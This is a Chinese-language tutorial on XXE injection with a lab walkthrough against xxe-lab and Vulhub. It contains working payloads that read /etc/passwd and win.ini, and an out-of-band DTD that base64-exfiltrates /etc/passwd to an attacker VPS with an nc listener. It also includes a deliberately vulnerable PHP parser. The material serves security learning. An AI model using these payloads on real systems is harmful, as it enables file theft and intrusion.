WEB漏洞系列-XXE(外部实体注入)

一、前言

XXE(XML External Entity Injection),即 XML 外部实体注入。由于 XML 解析器程序配置不当,解析了攻击者伪造的外部实体而产生的攻击。注入的本质是用户输入的数据被当做代码进行执行。

xml格式

XML 代表可扩展的标记语言,旨在存储和传输数据,类似 HTML,有一个树状的标签和数据结构。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。

例子如下:

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD声明
<!ENTITY test1 "test1">
<!ENTITY test2 SYSTEM "http://example.com/1.dtd">
]>
<test>&test1;&test2;</test> //文档元素

外部实体与内部实体

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用,即内部实体和外部实体。内部实体从内部文件引用,外部实体从外部文件引用(使攻击者远程加载恶意命令或文件)。

1
2
3
4
5
6
<?xml version = "1.0" encoding = "utf-8" ?> //xml声明
<!DOCTYPE test [ //DTD声明
<!ENTITY test1 "test1"> //内部实体
<!ENTITY test2 SYSTEM "http://example.com/1.dtd"> //外部实体
]>
<test>&test1;&test2;</test> //文档元素

一般实体与参数实体

一般实体:

在 DTD 中定义实体,在 XML 文档中引用,一般实体的定义无 % 开头,引用以 & 开头,以;结尾

1
2
3
4
5
6
7
8
<?xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> //外部实体
<message>
<user>&xxe;</user> //&xxe;引用了外部实体
<pass>pass</pass>
</message>

参数实体:

参数实体定义以 % 作为开头,引用也以 % 开头

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://eja5f2.dnslog.cn">
%remote;
]>
<string>&1111</string>

二、漏洞点及危害

漏洞点

所有使用 XML 格式的存在 XXE 漏洞的可能,插入测试语句观察其返回语句是否符合预期,如下图

image-20221031165107742

漏洞危害

1
2
3
4
5
本地文件读取
内网访问
主机扫描/端口扫描
远程代码执行
拒绝服务攻击

三、漏洞学习

环境搭建

环境地址:https://github.com/c0ny1/xxe-lab 这边选择 Phpstudy 直接启服务,过于简单,不再赘述,访问页面如下

image-20221031170222098

漏洞复现

利用 Burp 抓包,利用上面知识点,构造完整 XML 格式,并构造引用一般实体进行漏洞测试

1
2
3
4
5
<?xml version = "1.0" encoding = "utf-8" ?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<user><username>&xxe;</username><password>admin</password></user>

image-20221031171102055

构造引用 参数实体 测试

VPS 开启服务,测试网络是否能远程进行访问,若能进行访问则证明存在漏洞,能进行远程加载

image-20221031172421381

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://x.x.x.x:2333">
%remote;
]>
<user><username>admin</username><password>admin</password></user>

image-20221031194203105

服务器接收到请求

image-20221031193511744

通过 OOB(Out-Of-Band),远程加载 .dtd 文件实现攻击

1、vps上放置 dtd文件,名为 my.dtd , 文件内容为命令执行 file:///windows/win.ini

1
2
3
4
<!ENTITY % file SYSTEM "file:///windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

2、利用 Python3 在 dtd 文件目录下起临时 WEB 服务

image-20221031200337379

3、Burp 放包远程加载 .dtd 文件

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % my SYSTEM "http://x.x.x.x:2333/my.dtd">
%my;
]>

image-20221031200130341

Blind OOB XXE(Out-Of-Band)当存在 xxe 漏洞,但无回显,这时候想要读取敏感文件的时候,就需要用到 file 协议进行数据外带

1、这边利用 Vulhub 中的环境进行复现,进入 vulhub 中的 php_xxe 路径下,在 www 目录下创建 xml.php 漏洞环境,源码如下

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

image-20221101122158265

Docker 启动环境 docker-compose up -d

image-20221101092838369

访问 8080 端口,成功搭建环境页面如下:

image-20221101093122193

访问 dom.php 触发 xxe 漏洞,进行文件读取

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

image-20221101100913475

同样地访问 xml.php 进行 文件读取,出现报错无法读取文件

image-20221101101140907

3、远程加载 .dtd 文件,利用服务器回显内容,.dtd 文件内容如下,名为 my.dtd (注:dtd文件中的监听端口需与 nc 监听端口一致)

1
2
3
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://vpsip:nc监听的端口?p=%file;'>">

远程服务器中 my.dtd 目录下利用 Python 开启临时 WEB 服务 python3 -m http.server 2333

image-20221101094028596

在相同服务器下,开启监听,接收回显数据 nc -lvp 3333

image-20221101093949071

4、Burp 放包远程加载 dtd 文件,读取 dtd 文件内容进行命令执行

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vpsip:2333/my.dtd">
%remote;%int;%send;
]>

image-20221101110422030

VPS上成功接收执行命令后的数据,数据格式为 base64

image-20221101110717899

?p=执行后返回数据的 base64 格式,解码后得到数据

image-20221101110833149

注意 libxml 2.9.0 版本后不支持解析外部实体,即无法进行远程加载 dtd。

image-20221101093249009

综上所述,XXE 漏洞实际上都是通过 file 协议读取本地文件,相对应其他平台协议如下:

1
2
3
4
5
6
7
8
9
10
11
| libxml2 | PHP            | Java     | .NET  |
| ------- | -------------- | -------- | ----- |
| file | file | http | file |
| http | http | https | http |
| ftp | ftp | ftp | https |
| | php | file | ftp |
| | compress.zlib | jar | |
| | compress.bzip2 | netdoc | |
| | data | mailto | |
| | glob | gopher * | |
| | phar | | |

四、总结

通过一系列了解,XXE 漏洞通过 file 协议进行本地文件读取,然后通过读取到的信息进行组合攻击,类似于 SSRF。主要攻击路径:本地文件读取、内网访问、主机扫描/端口扫描、远程代码执行
、拒绝服务攻击。

五、参考

1
2
3
4
5
https://blog.zsec.uk/blind-xxe-learning/
https://www.freebuf.com/articles/web/265324.html
https://mp.weixin.qq.com/s/mm4hxXzaiaXUFcKk_wrtCw
https://github.com/c0ny1/xxe-lab
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/